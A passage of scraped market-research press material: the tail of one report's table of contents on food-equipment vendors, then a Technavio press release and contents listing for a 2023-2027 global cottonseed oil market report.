Exhibit 53: Chart on Offline - Year-over-year growth 2022-2027 (%)



Exhibit 54: Data Table on Offline - Year-over-year growth 2022-2027 (%)

7.4 Online - Market size and forecast 2022-2027

Exhibit 55: Chart on Online - Market size and forecast 2022-2027 ($ million)



Exhibit 56: Data Table on Online - Market size and forecast 2022-2027 ($ million)



Exhibit 57: Chart on Online - Year-over-year growth 2022-2027 (%)



Exhibit 58: Data Table on Online - Year-over-year growth 2022-2027 (%)

7.5 Market opportunity by Distribution Channel

Exhibit 59: Market opportunity by Distribution Channel ($ million)

8 Customer Landscape

8.1 Customer landscape overview

Exhibit 60: Analysis of price sensitivity, lifecycle, customer purchase basket, adoption rates, and purchase criteria

9 Geographic Landscape

9.1 Geographic segmentation

Exhibit 61: Chart on Market share by geography 2022-2027 (%)



Exhibit 62: Data Table on Market share by geography 2022-2027 (%)

9.2 Geographic comparison

Exhibit 63: Chart on Geographic comparison



Exhibit 64: Data Table on Geographic comparison

9.3 North America - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 65: Chart on North America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 66: Data Table on North America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 67: Chart on North America - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 68: Data Table on North America - Year-over-year growth 2022-2027 (%)

9.4 Europe - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 69: Chart on Europe - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 70: Data Table on Europe - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 71: Chart on Europe - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 72: Data Table on Europe - Year-over-year growth 2022-2027 (%)

9.5 APAC - Market size and forecast 2022-2027

Exhibit 73: Chart on APAC - Market size and forecast 2022-2027 ($ million)



Exhibit 74: Data Table on APAC - Market size and forecast 2022-2027 ($ million)



Exhibit 75: Chart on APAC - Year-over-year growth 2022-2027 (%)



Exhibit 76: Data Table on APAC - Year-over-year growth 2022-2027 (%)

9.6 South America - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 77: Chart on South America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 78: Data Table on South America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 79: Chart on South America - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 80: Data Table on South America - Year-over-year growth 2022-2027 (%)

9.7 Middle East and Africa - Market size and forecast 2022-2027

and - Market size and forecast 2022-2027 Exhibit 81: Chart on Middle East and Africa - Market size and forecast 2022-2027 ($ million)

and - Market size and forecast 2022-2027 ($ million)

Exhibit 82: Data Table on Middle East and Africa - Market size and forecast 2022-2027 ($ million)

and - Market size and forecast 2022-2027 ($ million)

Exhibit 83: Chart on Middle East and Africa - Year-over-year growth 2022-2027 (%)

and - Year-over-year growth 2022-2027 (%)

Exhibit 84: Data Table on Middle East and Africa - Year-over-year growth 2022-2027 (%)

9.8 US - Market size and forecast 2022-2027

Exhibit 85: Chart on US - Market size and forecast 2022-2027 ($ million)



Exhibit 86: Data Table on US - Market size and forecast 2022-2027 ($ million)



Exhibit 87: Chart on US - Year-over-year growth 2022-2027 (%)



Exhibit 88: Data Table on US - Year-over-year growth 2022-2027 (%)

9.9 China - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 89: Chart on China - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 90: Data Table on China - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 91: Chart on China - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 92: Data Table on China - Year-over-year growth 2022-2027 (%)

9.10 Germany - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 93: Chart on Germany - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 94: Data Table on Germany - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 95: Chart on Germany - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 96: Data Table on Germany - Year-over-year growth 2022-2027 (%)

9.11 UK - Market size and forecast 2022-2027

Exhibit 97: Chart on UK - Market size and forecast 2022-2027 ($ million)



Exhibit 98: Data Table on UK - Market size and forecast 2022-2027 ($ million)



Exhibit 99: Chart on UK - Year-over-year growth 2022-2027 (%)



Exhibit 100: Data Table on UK - Year-over-year growth 2022-2027 (%)

9.12 Japan - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 101: Chart on Japan - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 102: Data Table on Japan - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 103: Chart on Japan - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 104: Data Table on Japan - Year-over-year growth 2022-2027 (%)

9.13 Market opportunity by geography

Exhibit 105: Market opportunity by geography ($ million)

10 Drivers, Challenges, and Trends

10.1 Market drivers

10.2 Market challenges

10.3 Impact of drivers and challenges

Exhibit 106: Impact of drivers and challenges in 2022 and 2027

10.4 Market trends

11 Vendor Landscape

11.1 Overview

11.2 Vendor landscape

Exhibit 107: Overview on Criticality of inputs and Factors of differentiation

11.3 Landscape disruption

Exhibit 108: Overview on factors of disruption

11.4 Industry risks

Exhibit 109: Impact of key risks on business

12 Vendor Analysis

12.1 Vendors covered

Exhibit 110: Vendors covered

12.2 Market positioning of vendors

Exhibit 111: Matrix on vendor position and classification

12.3 bianco di puro GmbH and Co. KG

Exhibit 112: bianco di puro GmbH and Co. KG - Overview



Exhibit 113: bianco di puro GmbH and Co. KG - Product / Service



Exhibit 114: bianco di puro GmbH and Co. KG - Key offerings

12.4 Blendtec Inc.

Exhibit 115: Blendtec Inc. - Overview



Exhibit 116: Blendtec Inc. - Product / Service



Exhibit 117: Blendtec Inc. - Key offerings

12.5 Breville USA Inc.

Inc. Exhibit 118: Breville USA Inc. - Overview

Inc. - Overview

Exhibit 119: Breville USA Inc. - Product / Service

Inc. - Product / Service

Exhibit 120: Breville USA Inc. - Key offerings

12.6 Conair Corp.

Exhibit 121: Conair Corp. - Overview



Exhibit 122: Conair Corp. - Business segments



Exhibit 123: Conair Corp. - Key offerings



Exhibit 124: Conair Corp. - Segment focus

12.7 GEA Group AG

Exhibit 125: GEA Group AG - Overview



Exhibit 126: GEA Group AG - Business segments



Exhibit 127: GEA Group AG - Key offerings



Exhibit 128: GEA Group AG - Segment focus

12.8 Hamilton Beach Brands Holding Co.

Exhibit 129: Hamilton Beach Brands Holding Co. - Overview



Exhibit 130: Hamilton Beach Brands Holding Co. - Product / Service



Exhibit 131: Hamilton Beach Brands Holding Co. - Key news



Exhibit 132: Hamilton Beach Brands Holding Co. - Key offerings

12.9 Newell Brands Inc.

Exhibit 133: Newell Brands Inc. - Overview



Exhibit 134: Newell Brands Inc. - Business segments



Exhibit 135: Newell Brands Inc. - Key news



Exhibit 136: Newell Brands Inc. - Key offerings



Exhibit 137: Newell Brands Inc. - Segment focus

12.10 Omcan Inc.

Exhibit 138: Omcan Inc. - Overview



Exhibit 139: Omcan Inc. - Product / Service



Exhibit 140: Omcan Inc. - Key offerings

12.11 Philips International BV

Exhibit 141: Philips International BV - Overview



Exhibit 142: Philips International BV - Business segments



Exhibit 143: Philips International BV - Key offerings



Exhibit 144: Philips International BV - Segment focus

12.12 Sammic SL

Exhibit 145: Sammic SL - Overview



Exhibit 146: Sammic SL - Product / Service



Exhibit 147: Sammic SL - Key offerings

12.13 SANTOS SAS

Exhibit 148: SANTOS SAS - Overview

- Overview

Exhibit 149: SANTOS SAS - Product / Service

- Product / Service

Exhibit 150: SANTOS SAS - Key offerings

12.14 Stanley Black and Decker Inc.

and Decker Inc. Exhibit 151: Stanley Black and Decker Inc. - Overview

and Decker Inc. - Overview

Exhibit 152: Stanley Black and Decker Inc. - Business segments

and Decker Inc. - Business segments

Exhibit 153: Stanley Black and Decker Inc. - Key news

and Decker Inc. - Key news

Exhibit 154: Stanley Black and Decker Inc. - Key offerings

and Decker Inc. - Key offerings

Exhibit 155: Stanley Black and Decker Inc. - Segment focus

12.15 Stoelting Foodservice Equipment

Exhibit 156: Stoelting Foodservice Equipment - Overview



Exhibit 157: Stoelting Foodservice Equipment - Product / Service



Exhibit 158: Stoelting Foodservice Equipment - Key offerings

12.16 Vita-Mix Corp.

Exhibit 159: Vita-Mix Corp. - Overview



Exhibit 160: Vita-Mix Corp. - Product / Service



Exhibit 161: Vita-Mix Corp. - Key offerings

12.17 Whirlpool Corp.

Exhibit 162: Whirlpool Corp. - Overview



Exhibit 163: Whirlpool Corp. - Business segments



Exhibit 164: Whirlpool Corp. - Key offerings



Exhibit 165: Whirlpool Corp. - Segment focus

13 Appendix

13.1 Scope of the report

13.2 Inclusions and exclusions checklist

Exhibit 166: Inclusions checklist



Exhibit 167: Exclusions checklist

13.3 Currency conversion rates for US$

Exhibit 168: Currency conversion rates for US$

13.4 Research methodology

Exhibit 169: Research methodology



Exhibit 170: Validation techniques employed for market sizing



Exhibit 171: Information sources

13.5 List of abbreviations

Exhibit 172: List of abbreviations

About Us

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NEW YORK, Jan. 23, 2023 /PRNewswire/ -- The global cottonseed oil market size is estimated to increase by 965.24 thousand tons from 2022 to 2027. The market's growth momentum will accelerate at a CAGR of 3.6% during the forecast period - Request a sample report

Global cottonseed oil market  Vendor analysis

Technavio has announced its latest market research report titled Global Cottonseed Oil Market 2023-2027

Vendor offerings -

Archer Daniels Midland Co. - The company offers cottonseed oil for frying, spray oil, baking, and industrial margarine.

The company offers cottonseed oil for frying, spray oil, baking, and industrial margarine. Aryan International - The company offers organic cottonseed oil for frying, and baking and can be used in processed food items such as mayonnaise, spicy dishes, and potato chips.

The company offers organic cottonseed oil for frying, and baking and can be used in processed food items such as mayonnaise, spicy dishes, and potato chips. Asha Cotton Industries - The company offers cottonseed oil under the brand called Asha.

Bunge Ltd. - The company offers cottonseed oil used as margarine, edible oils, bakery and grain under various brands such as Dadla, Komili, Gagan, wholeharvest, Espiga, and El Maizal.

The company offers cottonseed oil used as margarine, edible oils, bakery and grain under various brands such as Dadla, Komili, Gagan, wholeharvest, Espiga, and El Maizal. For details on vendors and their offerings  Buy the report!

Vendor landscape 

The global cottonseed oil market is fragmented, with the presence of several global as well as regional vendors. A few prominent vendors that offer cottonseed oil in the market are Archer Daniels Midland Co., Aryan International, Asha Cotton Industries, Authentic Oil Co., Bunge Ltd., Cargill Inc., Henry Lamotte Services GmbH, ITOCHU Corp., Matangi Cotton Industries, Oilseeds Australia Pty Ltd., PYCO Industries, S.R. Cotton, SULU ORGANICS Corp., Vimal Oil and Foods Ltd., Wilmar International Ltd., Gokul Refoils and Solvent Ltd., Louis Dreyfus Holding BV, and Oilseeds International Inc. and others.

The global cottonseed oil market is at its growing stage. Established vendors have started acquiring small and regional players to increase their global reach. Moreover, the market will witness the entry of several new players, which will intensify the competition among the existing players during the forecast period.

Global cottonseed oil market - Customer landscape

To help companies evaluate and develop growth strategies, the report outlines 

Key purchase criteria

Adoption rates

Adoption lifecycle

Drivers of price sensitivity

Global cottonseed oil market - Segmentation assessment

Segment overview

Technavio has segmented the market based on Product (GM cottonseed oil and Non-GM cottonseed oil) and Distribution channels (Offline and Online).

The GM cottonseed oil segment will grow at a significant rate during the forecast period. The segment was the major contributor to the global cottonseed oil market in 2022. The segment is expected to witness a decline due to government restrictions in countries such as India , where the sales of GM cottonseed oil are prohibited for human consumption unless approved by the government. Various organizations in India test oil products to identify the mixture of unapproved components in the product. Most of such products did not have GM ingredients labeling on the product. Therefore, the factors mentioned above indicate that the sales of GM cottonseed oil products are expected to decline during the forecast period.

Geography Overview

By geography, the global cottonseed oil market is segmented into APAC, Middle East and Africa, North America, South America, and Europe. The report provides actionable insights and estimates the contribution of all regions to the growth of the global cottonseed oil market.

APAC will account for 80% of the market's growth during the forecast period. Cotton production in India is expected to increase during the forecast period due to special schemes such as intensive cotton production programs launched by the government. This will positively affect the cottonseed oil market in the region during the forecast period. The various use of cottonseed oil in other industries is also expected to increase the demand for cottonseed oil in the region during the forecast period. Cottonseed oil is used for developing biodiesel in APAC, and the use of biodiesel is expected to increase due to the depletion of fossil fuels globally.

Download a Sample Report

Global Cottonseed Oil Market  Market Dynamics

Leading Drivers - The health benefits of cottonseed oil are the key factor driving the global cottonseed oil market growth. One of the growth drivers of the global cottonseed oil market is the increasing awareness among consumers about the health benefits of the consumption of cottonseed oil. For instance, Cottonseed oil is low in cholesterol content, making it popular among health-conscious consumers. Similarly, Cottonseed oil has a high smoke point, making it suitable for deep frying and cooking at high temperatures. It has a neutral taste, the taste depends on the ingredients added to it. Such factors will increase the market growth during the forecast period.

Key Trends - The availability of cold-pressed cottonseed oil is the primary trend in the global cottonseed oil market growth. The demand for cold-pressed cottonseed oil is increasing among consumers, and it is expected to remain high during the forecast period. The players in the market are also coming up with new cold-pressed cottonseed oil products. Cold pressing ensures that the product retains its natural antioxidants and natural odor and flavor. Cold pressing involves extracting the oils by pressing the fruits or seeds with a modern steel press. With increasing consumer preference for cold-pressed cottonseed oil, the global market is expected to witness high growth during the forecast period.

Major challenges - The easy availability of substitutes is a major challenge to the global cottonseed oil market growth. Cottonseed oil is widely used in cooking as it has healthy unsaturated fatty acids. Other types of vegetable oils, however, can be used as replacements for cottonseed oil in commercial and domestic cooking. Palm oil, olive oil, soybean oil, and canola oil are some alternatives to cottonseed oil. The availability of substitutes, therefore, can hamper the global cottonseed oil market during the forecast period.

Drivers, trends, and challenges have an impact on market dynamics, which can impact businesses. Find more insights in a sample report!

What are the key data covered in this cottonseed oil market report?

CAGR of the market during the forecast period

Detailed information on factors that will drive the growth of the cottonseed oil market between 2023 and 2027

Precise estimation of the cottonseed oil market size and its contribution to the market in focus on the parent market

Accurate predictions about upcoming trends and changes in consumer behavior

Growth of the cottonseed oil industry across APAC, Middle East and Africa , North America , South America , and Europe

and , , , and A thorough analysis of the market's competitive landscape and detailed information about vendors

Comprehensive analysis of factors that will challenge the growth of cottonseed oil market vendors

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Related Reports:

The castor oil and its derivatives market share is expected to increase by USD 811.08 million from 2021 to 2026, and the market's growth momentum will accelerate at a CAGR of 4.94%. The increasing demand for castor oil and its derivatives in major end-use industries is notably driving the castor oil and its derivatives market growth, although factors such as fluctuations in castor oil prices caused by extreme dependence on climate may impede the market growth.

The ginger oil market share is expected to increase to USD 77.2 million from 2021 to 2026, and the market's growth momentum will accelerate at a CAGR of 9.77%. The perceived health benefits associated with ginger oil is notably driving the ginger oil market growth, although factors such as stringent regulations on the labeling of ginger oil may impede the market growth.

Cottonseed Oil Market Scope Report Coverage Details Page number 162 Base year 2022 Historic period 2017-2021 Forecast period 2023-2027 Growth momentum & CAGR Accelerate at a CAGR of 3.6% Market growth 2023-2027 965.24 thousand tons Market structure Fragmented YoY growth 2022-2023 (%) 2.44 Regional analysis APAC, Middle East and Africa, North America, South America, and Europe Performing market contribution APAC at 80% Key countries US, India, China, Pakistan, and Brazil Competitive landscape Leading Vendors, Market Positioning of Vendors, Competitive Strategies, and Industry Risks Key companies profiled Archer Daniels Midland Co., Aryan International, Asha Cotton Industries, Authentic Oil Co., Bunge Ltd., Cargill Inc., Henry Lamotte Services GmbH, ITOCHU Corp., Matangi Cotton Industries, Oilseeds Australia Pty Ltd., PYCO Industries, S.R. Cotton, SULU ORGANICS Corp., Vimal Oil and Foods Ltd., Wilmar International Ltd., Gemini Edibles and Fats India Pvt. Ltd., Gokul Refoils and Solvent Ltd., Louis Dreyfus Holding BV, Maharashtra solvent extraction P Ltd., and Oilseeds International Inc. Market dynamics Parent market analysis, Market growth inducers and obstacles, Fast-growing and slow-growing segment analysis, COVID-19 impact and recovery analysis and future consumer dynamics, and Market condition analysis for the forecast period. Customization purview If our report has not included the data that you are looking for, you can reach out to our analysts and get segments customized.

Table of Contents:

1 Executive Summary

1.1 Market Overview

Exhibit 01: Executive Summary  Chart on Market Overview



Exhibit 02: Executive Summary  Data Table on Market Overview



Exhibit 03: Executive Summary  Chart on Global Market Characteristics



Exhibit 04: Executive Summary  Chart on Market by Geography



Exhibit 05: Executive Summary  Chart on Market Segmentation by Product



Exhibit 06: Executive Summary  Chart on Market Segmentation by Distribution Channel



Exhibit 07: Executive Summary  Chart on Incremental Growth



Exhibit 08: Executive Summary  Data Table on Incremental Growth



Exhibit 09: Executive Summary  Chart on Vendor Market Positioning

2 Market Landscape

2.1 Market ecosystem

Exhibit 10: Parent market



Exhibit 11: Market Characteristics

3 Market Sizing

3.1 Market Definition

Exhibit 12: Offerings of vendors included in the market definition

3.2 Market segment analysis

Exhibit 13: Market segments

3.3 Market size 2022

3.4 Market outlook: Forecast for 2022-2027

Exhibit 14: Chart on Global - Market size and forecast 2022-2027 (thousand t)



Exhibit 15: Data Table on Global - Market size and forecast 2022-2027 (thousand t)



Exhibit 16: Chart on Global Market- Year-over-year growth 2022-2027 (%)



Exhibit 17: Data Table on Global Market- Year-over-year growth 2022-2027 (%)

4 Historic Market Size

4.1 Global cottonseed oil market 2017 - 2021

Exhibit 18: Historic Market Size  Data Table on Global cottonseed oil market 2017 - 2021 (thousand t)

4.2 Product Segment Analysis 2017 - 2021

Exhibit 19: Historic Market Size  Product Segment 2017 - 2021 (thousand t)

4.3 Distribution channel Segment Analysis 2017 - 2021

Exhibit 20: Historic Market Size  Distribution channel Segment 2017 - 2021 (thousand t)

4.4 Geography Segment Analysis 2017 - 2021

Exhibit 21: Historic Market Size  Geography Segment 2017 - 2021 (thousand t)

4.5 Country Segment Analysis 2017 - 2021

Exhibit 22: Historic Market Size  Country Segment 2017 - 2021 (thousand t)

5 Five Forces Analysis

5.1 Five forces summary

Exhibit 23: Five forces analysis - Comparison between 2022 and 2027

5.2 Bargaining power of buyers

Exhibit 24: Chart on Bargaining power of buyers  Impact of key factors 2022 and 2027

5.3 Bargaining power of suppliers

Exhibit 25: Bargaining power of suppliers  Impact of key factors in 2022 and 2027

5.4 Threat of new entrants

Exhibit 26: Threat of new entrants  Impact of key factors in 2022 and 2027

5.5 Threat of substitutes

Exhibit 27: Threat of substitutes  Impact of key factors in 2022 and 2027

5.6 Threat of rivalry

Exhibit 28: Threat of rivalry  Impact of key factors in 2022 and 2027

5.7 Market condition

Exhibit 29: Chart on Market condition - Five forces 2022 and 2027

6 Market Segmentation by Product

6.1 Market segments

Exhibit 30: Chart on Product - Market share 2022-2027 (%)



Exhibit 31: Data Table on Product - Market share 2022-2027 (%)

6.2 Comparison by Product

Exhibit 32: Chart on Comparison by Product



Exhibit 33: Data Table on Comparison by Product

6.3 GM cottonseed oil - Market size and forecast 2022-2027

Exhibit 34: Chart on GM cottonseed oil - Market size and forecast 2022-2027 (thousand t)



Exhibit 35: Data Table on GM cottonseed oil - Market size and forecast 2022-2027 (thousand t)



Exhibit 36: Chart on GM cottonseed oil - Year-over-year growth 2022-2027 (%)



Exhibit 37: Data Table on GM cottonseed oil - Year-over-year growth 2022-2027 (%)

6.4 Non-GM cottonseed oil - Market size and forecast 2022-2027

Exhibit 38: Chart on Non-GM cottonseed oil - Market size and forecast 2022-2027 (thousand t)



Exhibit 39: Data Table on Non-GM cottonseed oil - Market size and forecast 2022-2027 (thousand t)



Exhibit 40: Chart on Non-GM cottonseed oil - Year-over-year growth 2022-2027 (%)



Exhibit 41: Data Table on Non-GM cottonseed oil - Year-over-year growth 2022-2027 (%)

6.5 Market opportunity by Product

Exhibit 42: Market opportunity by Product (thousand t)

7 Market Segmentation by Distribution Channel

7.1 Market segments

Exhibit 43: Chart on Distribution Channel - Market share 2022-2027 (%)



Exhibit 44: Data Table on Distribution Channel - Market share 2022-2027 (%)

7.2 Comparison by Distribution Channel

Exhibit 45: Chart on Comparison by Distribution Channel



Exhibit 46: Data Table on Comparison by Distribution Channel

7.3 Offline - Market size and forecast 2022-2027

Exhibit 47: Chart on Offline - Market size and forecast 2022-2027 (thousand t)



Exhibit 48: Data Table on Offline - Market size and forecast 2022-2027 (thousand t)



Exhibit 49: Chart on Offline - Year-over-year growth 2022-2027 (%)



Exhibit 50: Data Table on Offline - Year-over-year growth 2022-2027 (%)

7.4 Online - Market size and forecast 2022-2027

Exhibit 51: Chart on Online - Market size and forecast 2022-2027 (thousand t)



Exhibit 52: Data Table on Online - Market size and forecast 2022-2027 (thousand t)



Exhibit 53: Chart on Online - Year-over-year growth 2022-2027 (%)



Exhibit 54: Data Table on Online - Year-over-year growth 2022-2027 (%)

7.5 Market opportunity by Distribution Channel

Exhibit 55: Market opportunity by Distribution Channel (thousand t)

8 Customer Landscape

8.1 Customer landscape overview

Exhibit 56: Analysis of price sensitivity, lifecycle, customer purchase basket, adoption rates, and purchase criteria

9 Geographic Landscape

9.1 Geographic segmentation

Exhibit 57: Chart on Market share by geography 2022-2027 (%)



Exhibit 58: Data Table on Market share by geography 2022-2027 (%)

9.2 Geographic comparison

Exhibit 59: Chart on Geographic comparison



Exhibit 60: Data Table on Geographic comparison

9.3 APAC - Market size and forecast 2022-2027

Exhibit 61: Chart on APAC - Market size and forecast 2022-2027 (thousand t)



Exhibit 62: Data Table on APAC - Market size and forecast 2022-2027 (thousand t)



Exhibit 63: Chart on APAC - Year-over-year growth 2022-2027 (%)



Exhibit 64: Data Table on APAC - Year-over-year growth 2022-2027 (%)

9.4 Middle East and Africa - Market size and forecast 2022-2027

and - Market size and forecast 2022-2027 Exhibit 65: Chart on Middle East and Africa - Market size and forecast 2022-2027 (thousand t)

and - Market size and forecast 2022-2027 (thousand t)

Exhibit 66: Data Table on Middle East and Africa - Market size and forecast 2022-2027 (thousand t)

and - Market size and forecast 2022-2027 (thousand t)

Exhibit 67: Chart on Middle East and Africa - Year-over-year growth 2022-2027 (%)

and - Year-over-year growth 2022-2027 (%)

Exhibit 68: Data Table on Middle East and Africa - Year-over-year growth 2022-2027 (%)

9.5 North America - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 69: Chart on North America - Market size and forecast 2022-2027 (thousand t)

- Market size and forecast 2022-2027 (thousand t)

Exhibit 70: Data Table on North America - Market size and forecast 2022-2027 (thousand t)

- Market size and forecast 2022-2027 (thousand t)

Exhibit 71: Chart on North America - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 72: Data Table on North America - Year-over-year growth 2022-2027 (%)

9.6 South America - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 73: Chart on South America - Market size and forecast 2022-2027 (thousand t)

- Market size and forecast 2022-2027 (thousand t)

Exhibit 74: Data Table on South America - Market size and forecast 2022-2027 (thousand t)

- Market size and forecast 2022-2027 (thousand t)

Exhibit 75: Chart on South America - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 76: Data Table on South America - Year-over-year growth 2022-2027 (%)

9.7 Europe - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 77: Chart on Europe - Market size and forecast 2022-2027 (thousand t)

- Market size and forecast 2022-2027 (thousand t)

Exhibit 78: Data Table on Europe - Market size and forecast 2022-2027 (thousand t)

- Market size and forecast 2022-2027 (thousand t)

Exhibit 79: Chart on Europe - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 80: Data Table on Europe - Year-over-year growth 2022-2027 (%)

9.8 India - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 81: Chart on India - Market size and forecast 2022-2027 (thousand t)

- Market size and forecast 2022-2027 (thousand t)

Exhibit 82: Data Table on India - Market size and forecast 2022-2027 (thousand t)

- Market size and forecast 2022-2027 (thousand t)

Exhibit 83: Chart on India - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 84: Data Table on India - Year-over-year growth 2022-2027 (%)

9.9 China - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 85: Chart on China - Market size and forecast 2022-2027 (thousand t)

- Market size and forecast 2022-2027 (thousand t)

Exhibit 86: Data Table on China - Market size and forecast 2022-2027 (thousand t)

- Market size and forecast 2022-2027 (thousand t)

Exhibit 87: Chart on China - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 88: Data Table on China - Year-over-year growth 2022-2027 (%)

9.10 Pakistan - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 89: Chart on Pakistan - Market size and forecast 2022-2027 (thousand t)

- Market size and forecast 2022-2027 (thousand t)

Exhibit 90: Data Table on Pakistan - Market size and forecast 2022-2027 (thousand t)

- Market size and forecast 2022-2027 (thousand t)

Exhibit 91: Chart on Pakistan - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 92: Data Table on Pakistan - Year-over-year growth 2022-2027 (%)

9.11 Brazil - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 93: Chart on Brazil - Market size and forecast 2022-2027 (thousand t)

- Market size and forecast 2022-2027 (thousand t)

Exhibit 94: Data Table on Brazil - Market size and forecast 2022-2027 (thousand t)

- Market size and forecast 2022-2027 (thousand t)

Exhibit 95: Chart on Brazil - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 96: Data Table on Brazil - Year-over-year growth 2022-2027 (%)

9.12 US - Market size and forecast 2022-2027

Exhibit 97: Chart on US - Market size and forecast 2022-2027 (thousand t)



Exhibit 98: Data Table on US - Market size and forecast 2022-2027 (thousand t)



Exhibit 99: Chart on US - Year-over-year growth 2022-2027 (%)



Exhibit 100: Data Table on US - Year-over-year growth 2022-2027 (%)

9.13 Market opportunity by geography

Exhibit 101: Market opportunity by geography (thousand t)

10 Drivers, Challenges, and Trends

10.1 Market drivers

10.2 Market challenges

10.3 Impact of drivers and challenges

Exhibit 102: Impact of drivers and challenges in 2022 and 2027

10.4 Market trends

11 Vendor Landscape

11.1 Overview

11.2 Vendor landscape

Exhibit 103: Overview on Criticality of inputs and Factors of differentiation

11.3 Landscape disruption

Exhibit 104: Overview on factors of disruption

11.4 Industry risks

Exhibit 105: Impact of key risks on business

12 Vendor Analysis

12.1 Vendors covered

Exhibit 106: Vendors covered

12.2 Market positioning of vendors

Exhibit 107: Matrix on vendor position and classification

12.3 Archer Daniels Midland Co.

Exhibit 108: Archer Daniels Midland Co. - Overview



Exhibit 109: Archer Daniels Midland Co. - Business segments



Exhibit 110: Archer Daniels Midland Co. - Key offerings



Exhibit 111: Archer Daniels Midland Co. - Segment focus

12.4 Aryan International

Exhibit 112: Aryan International - Overview



Exhibit 113: Aryan International - Product / Service



Exhibit 114: Aryan International - Key offerings

12.5 Asha Cotton Industries

Exhibit 115: Asha Cotton Industries - Overview



Exhibit 116: Asha Cotton Industries - Product / Service



Exhibit 117: Asha Cotton Industries - Key offerings

12.6 Bunge Ltd.

Exhibit 118: Bunge Ltd. - Overview



Exhibit 119: Bunge Ltd. - Business segments



Exhibit 120: Bunge Ltd. - Key news



Exhibit 121: Bunge Ltd. - Key offerings



Exhibit 122: Bunge Ltd. - Segment focus

12.7 Cargill Inc.

Exhibit 123: Cargill Inc. - Overview



Exhibit 124: Cargill Inc. - Product / Service



Exhibit 125: Cargill Inc. - Key news



Exhibit 126: Cargill Inc. - Key offerings

12.8 Gemini Edibles and Fats India Pvt. Ltd.

Exhibit 127: Gemini Edibles and Fats India Pvt. Ltd. - Overview



Exhibit 128: Gemini Edibles and Fats India Pvt. Ltd. - Product / Service



Exhibit 129: Gemini Edibles and Fats India Pvt. Ltd. - Key offerings

12.9 Henry Lamotte Services GmbH

Exhibit 130: Henry Lamotte Services GmbH - Overview



Exhibit 131: Henry Lamotte Services GmbH - Product / Service



Exhibit 132: Henry Lamotte Services GmbH - Key offerings

12.10 ITOCHU Corp.

Exhibit 133: ITOCHU Corp. - Overview



Exhibit 134: ITOCHU Corp. - Business segments



Exhibit 135: ITOCHU Corp. - Key offerings



Exhibit 136: ITOCHU Corp. - Segment focus

12.11 Matangi Cotton Industries

Exhibit 137: Matangi Cotton Industries - Overview



Exhibit 138: Matangi Cotton Industries - Product / Service



Exhibit 139: Matangi Cotton Industries - Key offerings

12.12 Oilseeds Australia Pty Ltd.

Exhibit 140: Oilseeds Australia Pty Ltd. - Overview



Exhibit 141: Oilseeds Australia Pty Ltd. - Product / Service



Exhibit 142: Oilseeds Australia Pty Ltd. - Key offerings

12.13 Oilseeds International Inc.

Exhibit 143: Oilseeds International Inc. - Overview



Exhibit 144: Oilseeds International Inc. - Product / Service



Exhibit 145: Oilseeds International Inc. - Key offerings

12.14 PYCO Industries

Exhibit 146: PYCO Industries - Overview



Exhibit 147: PYCO Industries - Product / Service



Exhibit 148: PYCO Industries - Key offerings

12.15 S.R. Cotton

Exhibit 149: S.R. Cotton - Overview



Exhibit 150: S.R. Cotton - Product / Service



Exhibit 151: S.R. Cotton - Key offerings

12.16 Vimal Oil and Foods Ltd.

Exhibit 152: Vimal Oil and Foods Ltd. - Overview



Exhibit 153: Vimal Oil and Foods Ltd. - Product / Service



Exhibit 154: Vimal Oil and Foods Ltd. - Key offerings

12.17 Wilmar International Ltd.

Exhibit 155: Wilmar International Ltd. - Overview



Exhibit 156: Wilmar International Ltd. - Business segments



Exhibit 157: Wilmar International Ltd. - Key news



Exhibit 158: Wilmar International Ltd. - Key offerings



